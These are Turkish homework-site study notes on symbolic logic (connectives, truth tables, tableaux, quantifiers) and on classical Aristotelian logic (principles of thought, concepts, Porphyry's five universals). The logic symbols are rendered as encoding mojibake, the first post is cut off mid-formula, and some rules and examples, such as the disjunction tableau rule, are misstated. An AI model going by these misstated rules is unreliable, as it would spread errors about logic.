ÖDEV SİTESİ19

MODERN(SEMBOLİK)MANTIK

21/12/2006 · Kategori: felsefe


Modern (Sembolik) Mantık

Mantık, geçerli çıkarımlar yapmak için kural ve ilkeler saptar. Çıkarımların geçerliliği denetlemeler aracılığıyla yapılır.

Klasik mantık geçerli çıkarımlar için kurallar koymuştur. Aristoteles, gerçeğe ulaştıran tek yöntemi tümdengelim olarak saptar.

Modern mantık, klasik mantık gibi yalnızca tümdengelimle (kıyasla) uğraşmamış, mantığın alanını genişleterek her türlü geçerli çıkarımla ilgilenmiştir.

Modern mantık önermeler  mantığı ve niceleme mantığı olmak üzere başlıca iki alana ayrılır.

Önermeler Mantığı :  Matematik üçgenin kenarları için a,b,c yüksekliği için h, alanı için s sembollerini kullanır ve üçgenlerin alanı için, s= ½.a.h formülüne ulaşır.

Modern mantık da, önermelerini p,q,r,s,t,v gibi sembollerle gösterir.

“Ali okula gitti.” yerine “p”; “Taş ağırdır.” yerine “q” ; “Tebeşir beyazdır.” yerine  “r” gibi semboller kullanır.

Matematik, +,-,X, :, = gibi semboller kullanır. Modern mantık, bağlaçları, önerme eklemeleri denilen mantık değişmezleri ile sembolleştirir. Önermeler mantığın ana balıkları şunlardır :

 

  • Önerme Eklemleri : Önermeleri birbirine bağlayan bağlaçlar ve önermeleri olumsuzlaştıran eklere önerme eklemleri denir.

Modern mantıkta beş temel önerme eklemi vardır.

-          Değilleme Eklemi (~) : Değilleme eklemi “~” sembolü ile gösterilir. İsim cümlelerinde “değil”, fiil cümlelerinde “…me”, “…ma” karşılığı olarak kullanılır.

“değil” ve “…me” , “…ma” olumsuzluk eklerinin kullanıldığı tüm cümlelerde “~” sembolü kullanılır.

“Ali okula  gitti”, “p”

“Ali okula gitmedi.” , “~p”

 

“Taş ağırdır.”, “q”

“Taş ağır değildir.”, “~q”

Kural : Önermeler sembolleştirilirken ;

Aynı önermelerin yerine aynı sembollerin, farklı önermelerin yerine farklı sembollerin kullanılmasına,

Önermede geçen “değil”, “…me”, “…ma” gibi olumsuzluk bildiren eklerin yerine mutlaka değilleme ekinin (~) kullanılmasına dikkat edilmelidir.

-          Tümel Evetleme Eklemi (Ù) : Tümel evetleme eklemi “Ù” sembolü ile gösterilir “ve” anlamı veren tüm bağlaçların karşılığında “Ù” sembolü kullanılır.

“Ali okula gitti”  “p”

“Ali derse girdi” “q”

“Ali okula gitti ve derse girdi” “pÙq”

“Ali ne okula gitti ne derse girdi” “~pÙ~q”

“Ali’nin okula giiti ve derse girdiği doğru değildir.” ~(pÙ q)“

-          Tikel Evetleme Eklemi (Ú) : Tikel evetleme eklemi “Ú” sembolü ile gösterilir. “Veya” anlamı veren tüm bağlaçların karşılığı olarak “Ú” sembolü kullanılır.

“Vaya”, “Yahut”, “ya da” bağlaçlarının tümünün karşılığında tikel evetleme eklemi “Ú” kullanılır.

 

“Ali okula gitti” “p”

“Ali maça gitti” “q”

“Ali okula gitti veya maça gitti.” “pÚq”

“Ali okula gitmedi veya maça gitmedi.” “~pÚ~q”

“Ali’nin okula gitmediği veya maça gitmediği doğru değildir.” “~(~pÚ~q)”

-          Koşul Eklemi (Þ) : Koşul eklemi “Þ” sembolü ile gösterilir. “ise” anlamı veren tüm bağlaçların karşılığında “Þ” sembolü kullanılır.

“Zaman”, “ise, “…se”, “…sa”, “…ce”, “için ki”, “yeter ki” gibi koşul bildiren tüm bağlaçların karşılığında koşul eklemi     Þ  kullanılır.

“Kar yağar”, “p”

“Hava soğuk olur” , “q”

“Kar yağarsa kava soğuk olur.” “pÞq”

-          Karşılıklı Koşul Eklemi (Û) : Karşılıklı koşul eklemi ” Û” sembolü ile gösterilir. “Ancak ve ancak” anlamı veren tüm bağlaçlar karşılığında “Û” sembolü kullanılır.

“Su, normal koşullarda 100°’de ısınır.” “p”

“Su kaynar.” “q”

“Su ancak ve ancak normal koşullarda 100°’de kaynar.” , “p Û q”

 

  • Çıkarım : Verilen önermelerden zihnin sonuç çıkarmasına çıkarım denir. Çıkarımda verilen önermelere öncül, öncüllerden zihnin zorunlu olarak çıkardığı önermeye ise sonuç önermesi denir.

Çıkarımda, sonuç önermesinin başında “o halde”, “öyleyse”, “bu nedenle” ifadeleri bulunur. ”O halde”  ve yerine geçen deyişlerin karşılığı olarak “” sembolü kullanılır.

Her insan ölümlüdür. (p)

Ali insandır. (q)

() Ali ölümlüdür. ( r )

çıkarımı

p,qr olarak sembolleştirilir.

  • Basit ve Bileşik Önermeler : Önermeler mantığında, önerme eklemi kullanılmayan önermelere basit önerme, önerme eklemleri yardımıyla kurulan önermelere bileşik önerme denir.

Basit ve bileşik önermelerle ilgili üç başlık incelenecektir :

-          Ana Eklem Ana Bileşenler : Bir bileşik önermeyi oluşturan önermelere ana bileşen, ana bileşenleri birbirine bağlayan ekleme ise ana eklem denir.

-          Yorumlama Amacıyla Sembolleştirme : Basit bir önerme ad ve yüklemden oluşur. Bilinen adlar, “a”,”b”,”c” gibi sembollerle, yüklemler ise “F”, “G”, “H” gibi sembollerle gösterilir.

“Tebeşir beyazdır.” Gibi bir önerme “p” olarak sembolleştirilebileceği gibi,

Tebeşir   beyazdır.

    a            F                  “Fa” olarak da sembolleştirilebilir.

Yüklemin ad ile sembolleştirilmesiyle önermelerin ifade edilmesi, yorumlama amacı ile sembolleştirmedir.

-          Doğruluk Çizelgeleri : İki değerli mantığın “üçüncü halin imkansızlığı” ilkesine göre, bir önerme, “doğru” (D) ya da “yanlış” (Y) iki tür doğruluk değeri alır.

Bileşik önermelerin doğruluk değerleri değilleme eklemine göre ve önerme eklemlerine göre biçimlenir ve bu tablolardan yararlanarak bileşik önermelerin doğruluk değerleri bulunur.

  • Denetlemeler : Bu bölümde iki denetleme türü ile denetleme kuralları incelenecektir.

-         Doğruluk Çizelgeleri ile Denetlemeler : Doğruluk çizelgeleri ile denetlemelerde üç tür denetleme vardır. Bu bölümde önermelerin tutarlılık ve geçerlilik denetlemeleri ile eşdeğerliği incelenecektir.

Tutarlılık Denetlemeleri : Önermelerin tutarlılıkları, tekil önermelerin tutarlılığı ve önermelerin birlikte tutarlılığı olmak üzere iki yoldan denetlenir.

Bir Önermenin Tutarlılığı : Bir önermenin tutarlı olması için doğruluk çizelgesinde en az bir yorumunun doğru (D) olması gerekir.

Önermelerin Birlikte Tutarlılığı : Doğruluk çizelgesinde en az bir kere birlikte doğru (D) değeri alan önermeler birlikte tutarlıdır.

Geçerlilik Denetlemeleri :Geçerlilik denetlemeleri tek bir önermenin geçerliliğini ve çıkarımların geçerliliğini içerir.

Bir önermenin geçerliliği : Doğruluk çizelgesinde tüm yorumları D olan önerme geçerlidir.

Çıkarımların geçerliliği : Bir çıkarımın geçerli olması doğru öncüllerden yanlış sonucun çıkmamasıdır. Çıkarımların geçerliliği denetlenirken sonuç önermesi değillenir.

Sonuç önermesinin değillenmesi ile öncüller birlikte tutarsız ise çıkarım geçerli,

Sonuç önermesinin değillenmesi ile öncüller birlikte tutarlı ise çıkarım geçersizdir.

Önermelerin Eşdeğerliği : Doğruluk çizelgesinde bütün yorumların doğruluk değeri aynı olan önermeler eşdeğer (denk) dir.

-         Çözümleyici Çizelgeleri ile Denetlemeler : Çözümleyici çizelgelerle yapılan denetlemeler beş başlık altında toplanabilir.

Bir Önermenin Tutarlılığı : Çözümleyici çizelgelerle yapılan denetlemelerde bir önermenin tutarlılığı, tümel ve tikel evetleme eklemlerinin çözümleme kurallarını içerir.

Tümel Evetleme Ekleminin Çözümleme Kuralı : Tümel evetleme eklemiyle yapılan bir bileşik önermenin tutarlılığı denetlenirken ana bileşenler alt alta yazılarak anahtar açılır. Anahtarın içinde yer alan çözülmüş önermelerin (p, ~p gibi)  en az birinin bile karşıtı varsa, önerme tutarsız; hiçbirinin karşıtı yoksa, önerme tutarlıdır.

UYARI : Tutarsız önermelerin çözümleme yolunun altına yol kapalı anlamında ( X ) işareti konulur.

Tikel Evetleme Ekleminin Çözümleme Kuralı : Tikel evetleme eklemiyle yapılan bir bileşik önermenin tutarlılığı denetlenirken ana bileşen sayısı kadar çatal açılır. Her iki çatalın altına bir ana bileşen yazılır.

Her bir çatalın altındaki önermenin (bileşenin) karşıtı yoksa önerme tutarsızdır.

UYARI : Yalnızca tikel evetleme eklemi ile yapılan önermeler her koşulda tutarlıdır.

Önermelerin Birlikte Tutarlılığı : Çözümleyici çizelge ile önermelerin birlikte tutarlılığı denetlenirken tümel ve tikel evetleme eklemlerin çözümleme kuralları uygulanır.

UYARI : Ù’nin Ú ‘ye göre işlem önceliği olduğunu unutmayalım.

Bir Önermenin Geçerliliği : Bir önermenin geçerliliği çözümleyici çizelge ile denetlenirken, önce önermenin değillemesi alınır. Değillemesi tutarsız olan önerme geçerli, değillemesi tutarlı olan önerme geçersizdir.

Tüm yorumları Y olan önerme tutarsızdır.

O halde, değillemesi tutarsız olan önerme her koşulda geçerlidir.

Çıkarımların Geçerliliği : Çıkarımların geçerliliğini denetlerken, sonuç önermesini değilleyerek öncüllerle birlikte tutarlı olup olmadığını denetlediğimiz doğruluk çizelgesi ile denetlemeleri görmüştük.

Önermelerin Eşdeğerliliği : Çözümleyici çizelge ile önermelerin eşdeğerliği denetlenirken, eşdeğerliği araştıran önermeler arasına karşılıklı koşul eklemi (Û) konur.

Elde edilen önerme geçerli ise önermeler eşdeğerdir.

-         Denetleme Kuralları :

Bir önermenin tutarlı olması için doğruluk çizelgesinde en az bir kere D değeri alması gerekir.

Bir önermenin tutarsız olması için doğruluk çizelgesindeki tüm yorumların (sütunun) Y olması gerekir.

Önermelerin birlikte tutarlı olması için doğruluk çizelgesinde en az bir kere birlikte D değeri almaları gerekir.

Bir önermenin geçerli olması için ;

Doğruluk çizelgesindeki tüm yorumların (sütunun) D’lerden oluşması gerekir.

Değillemesinin tutarsız olması gerekir.

Bir çıkarımın geçerli olması için doğru öncüllerden yanlış sonuç çıkmaması gerekir. Bunun için de  sonuç önermesinin değillemesi ile öncüllerin birlikte tutarsız olması gerekir.

Önermelerin eşdeğer olması için;

Önermelerin doğruluk çizelgesindeki tüm yorumların aynı olması gerekir.

Eşdeğerliği istenen önermeler arasına Û konduktan sonra elde edilen önermenin geçerli olması gerekir.

-         Tutarlılık, Geçerlilik, Eşdeğerlik  İlişkileri :

Tutarlı önermeler geçerli de geçersiz de olabilir.

Tutarsız önermeler mutlaka geçersizdir.

Geçerli önermeler mutlaka tutarlıdır.

Geçersiz önermeler tutarlı da tutarsız da olabilir.

Tüm geçerli önermeler eşdeğerdir.

Tüm tutarsız önermeler eşdeğerdir.

Niceleme Mantığı

Önermelerin niceleyicilerini de (her, bazı) sembolleştirip niceleyicileri de dikkate alarak denetlemeler yapan mantık alanı niceleme mantığıdır. Niceleme mantığına yüklemler mantığı da denir. Yüklemler mantığı önermeleri  iç yapıları ile sembolleştirir.

Niceleme mantığının konuları şunlardır :

Niceleyiciler : Niceleme mantığında karşımıza iki yeni sembol çıkar. Tümel niceleyici (") = “her” anlamına gelir. Önermeler mantığındaki tümel evetleme eklemini (Ù) karşılar.

Tikel niceleyici ($) =”bazı” anlamına gelir. Önermeler mantığındaki tikel evetleme eklemini (Ú) karşılar.

Niceleme mantığında, önermeler mantığından farklı olarak yüklemler (F, B, H) ve bilinmeyen adlar (X, Y, Z) olarak sembolleştirilir.

Bilinen adlar yerine “a”, “b”, “c”, bilinmeyen adlar yerine “x”, “y”, “z” sembolleri kullanılır.

Niceleme mantığında,

 

Bütün   insanlar  ölümlüdür. "x(FxÞGx)

  "            F           G

 

O halde   Ali   ölümlüdür. (Ga)

             a         G

 

" x (FxÞGx) FaGa biçiminde sembolleştirilir.

Niceleme mantığında olumsuz önermelerin ifadesi de aşağıdaki gibidir.

 

Ali   insan   ölümlü değildir.

 "      F              ~G

 

önermesi

"x(Fx Þ ~Gx) biçiminde sembolleştirilir.

 

Bazı    insanlar    ölümlü değildir.

   $         F                 ~G

 

önermesi

 

$x(FxÙ~Gx) biçiminde sembolleştirilir.

 

Açık Önermeler : İçinde “x”, “y”, “z” gibi bilinmeyen adların geçtiği önermelere açık önerme denir.

Gx, "xFx, $x(FxÙGx), x+y=0, x>8 gibi önermeler açık önermedir.

"x ölümlüdür.” “x>8” gibi önermelerin doğruluk değerlerini bilemeyiz.

FxÞGx(x insansa, x ölümlüdür.) açık önermesi x değişkeniyle p(x), q(x) biçiminde gösterilir. “x” in yerine “a” sabiti konulduğunda, durum p(a), q(a) biçimine dönüşür.

FxÞGx önermesi özellenir ve,

FaÞGa önermesi elde edilir. (Fa Kalıcı Bağlantı

KLASİK MANTIK

21/12/2006 · Kategori: felsefe


Klasik Mantık

 

·         Mantığın Konusu : Mantık, doğru düşünmenin kurallarını koyan disiplindir. Doğru düşünme, kendini akıl yürütmede, verilen yargılardan sonuç çıkartmada gösterir. Yargı (önerme) ve akıl yürütme (çıkarım) mantığın temel kavramlarıdır. Yargının dayandığı doğru, bilgi doğrusudur. “Şu kalem siyahtır.” yargısında, kalemle onun siyah olup olmadığının uygunluğu bilgi doğrusu ile saptanır. Yargılara  dayanarak sonuç çıkartmak ise mantık (akıl) doğrusudur. Akıl yürütme (çıkarım) üç biçimde yapılır.

UYARI : Tümdengelim, zihnin genelden özele, Tümevarım, zihnin özelden genele, Anoloji, zihnin özelden özele, sonuç çıkartmasıdır.

©       Tümdengelim (Dedüksiyon) : Zihnin genel yargılardan özel sonuçlar çıkarmasıdır. Örnek : Bütün madenler ısınınca genleşir. “Demir madendir.” O halde, demir ısınınca genleşir. Tümdengelimin doğruluk değeri kesindir. Çünkü bütün doğru ise parça da doğru olmak zorundadır. “Bütün madenler ısınınca genleşir.” “Demir ısınınca genleşir.” Tümdengelim, mantık doğrusunun açık bir örneğidir.

©       Tümevarım (Endüsksiyon) : Zihnin tek tek olgularla ilgili yargılardan hareket ederek genel sonuçlara ulaşmasıdır. Örnek : “Ali, Ayşe, John, Brigitte insandır ve ölümlüdür.” O halde, bütün insanlar, ölümlüdür. Tümevarımın doğruluk değeri olasılıklıdır. Yukarıdaki örnekte sonuç doğru olduğu halde, “Ali, Ayşe, John, Brigitte insandır ve sarı saçlıdır.” “ O halde, bütün insanlar sarı saçlıdır akıl yürütmesinde sonuç yanlıştır.”

©       Anoloji (Andırma) : İki olaydaki benzerliklerden yararlanarak, birinde var olan özelliği diğerinde de var saymaktır. Örnek : “Güney Afrika Cumhuriyeti’nde altın madeni çıkar ve Güney Afrika  Cumhuriyeti zengin bir ülkedir.” “Türkiye’de altın madeni çıkar.” “O halde Türkiye de zengindir.” Anoloji, zihnin özelden özele sonuç çıkarmasıdır ve doğruluk değeri olasılıklıdır.

Mantığın Tarihçesi : Mantık, doğruya ulaşmanın yolu olarak Aristoteles tarafından geliştirilen bir tümdengelim yöntemi olarak ortaya çıkar. Orta Çağ, Aristoteles mantığının takipçisi olur. Ancak, doğa bilimlerinin de geliştiği Rönesans döneminde Aristoteles mantığı yetersiz bulunur. Yeni Çağ’da mantık Leibniz’in çabalarıyla matematikselleşmeye başlar ve sembolleşerek günümüzde modern mantık olarak adlandırdığımız sembolik mantık haline gelir.

Aristoteles : Mantığı bir disiplin olarak kuran Aristotelestir. Aristoteles, Organon (Araç) adlı yapıtında doğruya ulaşmanın yöntemini ortaya koyar. Ona göre bu yöntem, tümdengelim biçimi olan kıyastır. Ortaçağ boyunca Aristoteles’in mantık anlayışı egemen olur ve gerek Avrupa gerekse İslam mantıkçıları Aristoteles’in izinden giderek mantığı geliştirirler.

Rönesans : Rönesansla birlikte, doğa bilimlerinin de gelişmesi sonucu Aristoteles mantığının yetersizliği görülür.  Bu yetersizliği ele alan Bacon, Descartes ve Mill, Aristoteles’in kıyas yöntemini yeni bilgi vermediği, bilinenleri tekrarladığı için eleştirirler. Mantığın doğa bilimlerinin yöntemlerine yöneldiği bu dönemde, Aristoteles’in mantık çalışmaları geri plana itilip, yöntem çalışmaları ön plana çıkartılır.

Yeni Çağ : Yeni Çağda özel mantık alanı önem kazanır. Zamanla yöntem çalışmalarının bilim felsefesinin alanına girmesi sonucu mantıkta yeni arayışlar başlar.Bu arayışların ilk ciddi adımı Leibniz ile atılır. Leibniz, akıl yürütmelerin içeriğinden bağımsız bir biçimde matematik kuralları gibi olması gerektiğini savunur. Bunun yolunun da sembolleştirme olduğunu vurgular.

Modern Mantık : Leibniz’in açtığı bu yolda De Morgan, Bole, Jevans mantığı matematiğe dayandıran çalışmalar yaparlar. Böylece modern (sembolik) mantık çalışmaları hız kazanır. Modern mantık çalışmaları önermeler mantığı ve niceleme mantığı olmak üzere iki değerli mantık çalışmaları ile Frege, Russel ve Whitelead tarafından geliştirilir. İki değerli mantığa karşı Lukasiewich ve Post çok değerli mantığı kurarlar. Reichenbach ise olasılık mantığını kurarak sonsuz sayıda doğruluk değerli bir mantık sistemi geliştirir. Bu çalışmaları kiplik mantığı, özdeşlik mantığı ve varlık mantığı çalışmaları izler.

 

  • Düşünme İlkeleri : Mantıklı “düşünme”, aklın ilkelerine uygun düşen bir düşünmedir. Eğer aklın düşünme ilkeleri olmasaydı, insanlararası iletişim olanağı ortadan kalkardı. Demek ki biz saçma ile saçma olmayanı, mantıklı ile mantıksızı aklımızdaki bir takım ilkelere göre birbirinden ayırırız. Klasik mantık (Aristoteles mantığı) düşünmenin ilkelerini, özdeşlik ilkesi, çelişmezlik ilkesi ve üçüncü halin olanaksızlığı ilkesi olmak üzere üç ilkede toplar. Leibniz bunlara bir dördüncü ilke olarak yeter neden (sebep) ilkesini eklemiştir.

UYARI : Özdeşlik ilkesi bir nesnenin yalnızca kendini anlatırken, çelişmezlik ilkesi nesnenin dışındaki tüm nesneleri anlatır. Bu yüzden, çelişmezlik ilkesinin evrenine giren nesneler özdeşlik ilkesinin evresine giren nesnelerden daha çoktur. Çelişmezlik ilkesinin dayandığı temel, özdeşlik ilkesidir. Çünkü, bir şey kendisi olmayan şey değilse (çelişmezlik) kendisidir (özdeşlik). Üçüncü halin olanaksızlığı  ilkesine karşı ikiden fazla olasılığın olduğu görüşünden hareketle çok değerli mantık doğmuştur.

Özdeşlik İlkesi :  “Bir şey ne ise odur ya da bir şey kendisidir” ya da “A, A’dır” Özdeşlik ilkesine göre, akıl yürütme sırasında bir terime hangi anlam verilmişse sonuna kadar o anlama sahip kalınmalıdır. Bir nesne başka bir nesneye benzeyebilir ancak onunla özdeş olamaz. “İnsan taştır.” İfadesi özdeşlik ilkesine aykırıdır.

Çelişmezlik İlkesi : “Bir şey aynı zaman ve koşullarda hem kendisi hem başka bir şey olamaz” ya da “A, A olmayan değildir.” “İnsan hem ölüdür, hem canlıdır.” “Su hem sıvıdır, hem katıdır.” “Taş hem vardır hem yoktur.” Önermeleri çelişmezlik ilkesine ters düşer.

Üçüncü halin Olanaksızlığı İlkesi : “Bir şey ya vardır, ya yoktur, ortası yoktur”, ilkesi üçüncü halin yokluğu ilkesidir. Örnek, Şu insan ya ölüdür ya sağdır, bu sayı ya tek sayıdır ya çift sayıdır, bu önerme ya doğrudur ya yanlıştır.

Yeter Neden (Sebep) İlkesi : “Hiçbir yargı yeter neden olmadan doğru değildir”, biçiminde ifade edilen yeter neden ilkesinin bir düşünce ilkesinden çok, bir varlık ilkesi olduğu söylenebilir. Bu ilkeye göre yeterli görülen neden yargının doğruluğunun dayanağı olmalıdır.

·         Klasik Mantık : Aristo mantığı (Aristoteles mantığı) adı da verilen klasik mantık, Aristoteles tarafından kurulmuştur. Aristoteles mantığının amacı doğru düşünmenin yollarını saptamaktır. Bunun da yolu tümdengelim biçimindeki akıl yürütmedir (çıkarım). Akıl yürütmenin en mükemmel biçimi de tümdengelimin bir türü olan kıyastır. Tümdengelim türü akıl yürütmenin üç ana unsuru olan kavram ve terim, önerme, kıyas klasik mantığın temel inceleme alanlarıdır.

§         Kavram ve Terim : Nesne ya da olayların ortak özellikleri ile zihinde oluşan tasarımlarına kavram denir. Kavramların sözle ifadesine de terim denir. Terim, dil içinde tek başına anlam taşır. Terim ve sözcük üç biçimde ilişkilendirilebilir. 

-         Bir terim bir sözcükten oluşabilir. Örneğin “insan”, “ağaç”, “taş” hem terim, hem sözcüktür.

-         Bir terim birden çok sözcükten oluşabilir. Örneğin “Ankara Üniversitesi Siyasal Bilgiler Fakültesi” beş sözcükten oluşur ama kavram sayısı tektir. Çünkü zihinde tasarlanan tek bir fakültedir.

-         Bazen bir deyiş sözcük olduğu halde dil içinde bir  anlam taşımadığı için terim değildir. Örneğin “bu”, “şu”, “o”, “çok”, “bazı” gibi sıfatlar ve “ile“, “ve”, “ki” gibi bağlaçlar sözcüktür ama terim değildir.

Kavramların Çeşitli Gösterimleri :  Bir kavram gösterdiği nesne ya da olayların var olduğu çeşitli durumlara göre farklı konumlarda olabilir. Bu konumlar nelik, gerçeklik, kimlik, içlem ve kaplam adını alır.

UYARI : Kavram, hayal ile karıştırılmamalıdır. Hayal, nesne ya da olayların belirli bir zaman ve mekandaki durumlarının zihinde canlandırılmasıdır. Örneğin, Atatürk’ü Kurutuluş Savaşı sırasında Kocatepe’de düşünen hali ile zihinde canlandırmak hayaldir. Oysa, Atatürk’ü genel olarak zihinde canlandırmakla kavram oluşur. Hayal, somut ve özel, kavram, soyut ve geneldir. Neliği olan bir kavramın gerçekliği olmayabilir. Örneğin, “ağaç” kavramının hem neliği hem gerçekliği vardır. “Ağaç” hem zihinde canlandırılır (nelik) hem de zihnin dışında varlığı vardır (gerçeklik). Oysa “melek” kavramının neliği vardır. Ama zihnin dışında gerçekliği yoktur.

Nelik : Tümel bir kavramın zihinde canlanan bireylerine nelik denir.

Gerçeklik :  Neliği olan kavramı, zihnin dışında karşılayan bireyler gerçekliktir.

Kimlik : Gerçekliği olan bir kavramın zihnin dışında gösterdiği bireylerden birisi ise kimliktir. Örneğin zihnin dışındaki ağaçlardan birini gösterip “şu ağaç” dediğimizde “ağaç” kavramının kimliği ifade edilir. O halde; Zihnimizde canlanan “ağaç” nelik, zihnimizin dışında var olan “bütün ağaçlar” gerçeklik, zihnimizin dışında var olan ağaçlardan “şu ağaç” ise kimlik olarak ifade edilir.

İçlem : Bir kavramın içine giren bireylerin ortak özellikleri kavramın içlemini gösterir.

Kaplam : Bir kavramın içine aldığı bireylerin sayısı kavramın kaplamını gösterir.

-         Kaplam – İçlem İlişkisi : Özel bir kavramın, kaplamı az içlemi çok olur. “Atatürk” kavramının kaplamı az, içlemi çoktur. Genel bir kavramın kaplamı geniş, içlemi dardır. Genel bir kavram olan  “insan” kavramının kaplamı çok, içlemi azdır.

Özelden genele gidildikçe içlem azalır, kaplam artar. Genelden özele gidildikçe içlem artar, kaplam azalır.

UYARI : Aralarında cins-tür ilişkisi bulunmayan kavramlar arasında içlem-kaplam ilişkisi kurulmamalıdır. Örneğin, kalem-kağıt, sebze-meyve, taş-kuş gibi birbirinin cinsi ya da türü olmayan kavramları içlem-kaplam açısından karşılaştırmazsınız.

-         Kavram Çeşitleri : Kavramlar, niceliklerine, içlemlerine, bağıntılarına ve niteliklerine göre dörde ayrılırlar :

ü       Kaplamlarına (Niceliklerine) Göre Kavramlar :

Tümel Kavram : Bir kavram, kaplamına giren kavramların tümünü anlatıyorsa tümel kavramdır. “bütün”, “tüm”, “her”, “hepsi”, “hiçbir”, “insan”, “şehir”.

Tikel Kavram : Bir kavram, kaplamına giren bireylerin bir kısmını (bazılarını) ifade ediyorsa tikel kavramdır. “bazı”, “birkaç” , “bir kısım”, “kimi”, “çoğu”.

Tekil Kavram : Bir kavram, kaplamına giren bireylerden bir tanesini anlatıyorsa tekil kavramdır. “bu”, “şu”, “o”, “Atatürk”, “Ankara”.

“Bütün insanlar”, hiçbir çocuk”, “ağaçların tümü” (tümel kavramlar), “şu insan”, “bu çocuk”, “o ağaç”, “Everest Dağı (tekil kavramlar)

ü       İçlemlerine Göre Kavramlar :

Basit Kavramlar : İçlemi az olan kavram basittir. Örneğin, “varlık” basit kavramdır.

Karmaşık Kavramlar : İçlemi çok olan kavram karmaşıktır. Örneğin, “şu ağaç” karmaşık kavramdır.

ü       Bağıntılarına Göre Kavramlar :

Somut ve Soyut Kavramlar : Bir kavram, zihnin dışında var olan bir nesne ya da olayı gösteriyorsa somuttur. “insan”, “taş”, “mavi” gibi kavramlar somuttur. Bir kavram, bir kısım oluş ve bağıntıların sonucu zihinde oluşuyorsa soyuttur. “İnsanlık”, “iyilik”, “mavilik” gibi kavramlar soyuttur.

Kolektif ve Distribütif Kavramlar : Bir kavram, yalnızca bireyler grubunu ifade ediyorsa kolektiftir. Bir kavram, hem bireyler grubunu hem de o grup içinde tek bir bireyi ifade ediyorsa distribütiftir. Örneğin, “ordu” kavramı yalnızca bir grup bireyi anlatır, bu yüzden kolektiftir. “Asker” kavramı ise hem bir grup bireyi hem de grubun içindeki tek bir bireyi anlattığı için distribütiftir.

Mutlak ve Bağıl Kavramlar : Bir kavramın gösterdiği nesne bir başkasına gerek duyulmaksızın anlatılabiliyorsa mutlaktır. Bir kavramın gösterdiği nesne başka bir nesneye göre tanımlanıyorsa bağıldır. Örneğin, “madde” kendi özellikleriyle, yani uzayda yer kaplayandır.” diye tanımlandığından  mutlak kavramdır. Oysa “dayı” bir başka  nesneyle, yani “annenin erkek kardeşidir.” diye anneye bağlı olarak tanımlandığından bağıl kavramdır.

Çelişik ve Karşıt Kavramlar : Biri diğerinin olumsuzu olan iki kavram arasında üçüncü bir ortak durum olamıyorsa iki kavram çelişiktir. Biri diğerinin olumsuzu olan iki kavram arasında üçüncü bir ortak durum olabiliyorsa, iki kavram karşıttır. Örneğin, “var” ve “var olmayan” kavramları arasında üçüncü bir ortak durum olmadığından, her iki kavram çelişiktir.  “Siyah” ve “Beyaz” kavramları arasında gri tonlar olduğu için her iki kavram karşıttır.

ü       Niteliklerine Göre Kavramlar :

Olumlu (Pozitif) Kavram : Bir nesne ya da olayda bir niteliğin olduğunu gösteren kavram olumludur.

Olumsuz (Negatif) Kavram : Bir nesne ya da olayda bir niteliğin olmadığını gösteren kavram olumsuzdur. Örneğin, “insan”, kavramı olumlu, “insan-olmayan” kavramı olumsuzdur.

UYARI : Olumlu ve olumsuz kavramların ölçütü anlam ya da içerik değil, biçimdir. Olumsuz kavramlar sonlarında,  isimlerde olmayan “değil” ifadelerini, fiillerde “me”, “ma” eklerini almak zorundadır. O halde, “iyi” kavramı da “kötü” kavramı da olumludur. “İyi-değil” kavramı da, “kötü-değil” kavramı da olumsuzdur.

-         Kavramlar Arası İlişkiler : İki kavram arasında eşitlik, ayrıklık, tam girişimlik ve eksik girişimlik olmak üzere dört türlü ilişki kurulur.

UYARI : Birbirinin cins ve türü olan kavramlar tam girişimlik ilişkisi içindedir.

Eşitlik : İki kavramdan her biri diğerinin tüm bireylerini içine alıyorsa aralarında eşitlik ilişkisi vardır. Örnek :

Her konuşan, sosyal varlıktır.

Her soysal varlık, konuşandır.

İfadeleri mantığa uygun olduğundan “konuşan” ve “sosyal varlık” kavramları arasında eşitlik ilişkisi vardır.

Ayrıklık : İki kavramdan her biri diğerinin hiçbir varlığını içine almıyorsa aralarında ayrıklık ilişkisi vardır.

Hiçbir taş, kuş değildir.

Hiçbir kuş, taş değildir.

İfadeleri mantığa uygun olduğundan “taş” ve “kuş” kavramları arasında ayrıklık ilişkisi vardır.

Tam Girişimlik :  İki kavramdan yalnız bir diğerinin bütün bireylerini içine alıyorsa aralarında tam girişimlik ilişkisi vardır.

Her bitki, canlıdır.

Bazı canlılar, bitkidir.

İfadeleri mantığa uygun olduğundan “canlı” ve “bitki” kavramları arasında tam girişimlik ilişkisi vardır.

Eksik Girişimlik :  İki kavramdan her biri diğerinin bazı bireylerini içine alıyorsa aralarında eksik girişimlik ilişkisi vardır.

Bazı kadınlar, öğretmendir.

Bazı öğretmenler, kadındır.

İfadeleri mantığa uygun olduğundan “kadın” ve “öğretmen” kavramları arasında eksik girişimlik ilişkisi vardır.

-         Beş Tümel : Cins, tür, ayırım, özgülük ve ilinti adını alan beş tümelin kaynağı Porphyrios’un “İsagoji” adlı yapıtıdır. Beş tümel, “Porphyrios Ağacı” adı verilen varlık sınıflandırmasına dayanır.

Cins : Cins, “altında türlerin sıralandığı şeydir” diye tanımlanabildiği gibi, “gerçekleri farklı olan şeylere, bunlar denir diye sorulduğunda verilen yanıttır” biçiminde de tanımlanabilir. Örneğin, “domates, biber, patlıcan nedir?” diye sorulduğunda, “sebze” yanıtı cinsi gösterir. İçlem açısından bakıldığında “cins, özellikler yığınıdır.”

Cins Çeşitleri :

Yakın Cins : Bir türün hemen üstünde bulunan cins yakın cinstir.

Uzak Cins : Türün bağlı olduğu yakın cinsin daha üstünde bulunan cinsler uzak cinstir.

Porphyrios Ağacına göre “akıllı” nın yakın cinsi “duygulu”, uzak cinsleri ise “canlı”, “cismi olan” ve “cevherdir”.

Cins Dereceleri :

Üstün Cins : Sınıflandırmanın en üstünde yer alan ve üstünde başka cinslerin yer almadığı cinstir.

Aşağı Cins : Altında başka cins bulunmayan cinstir.

Orta Cins : Üstün cins ve aşağı cins arasında yer alan cinslerdir. Porphrios Ağacına göre “cevher” üstün cins, “duygulu” aşağı cins, “cismi olan” ve “canlı” orta cinstir.

Tür : Cinsin altında sıralanan şeylerdir. Gerçeklikleri farklı olan şeylere “bunlar nedir?”, diye sorulduğunda alınan yanıt türü gösterir. Cinsle karşılaştırıldığında içlemi çok  olan şeyler türdür.

Tür Çeşitleri :

Özel tür : Yalnızca tür olup bir başkasının cinsi olmayan tür, özel türdür.

Göreli tür : Hem tür hem cins olabilen tür, göreli türdür.

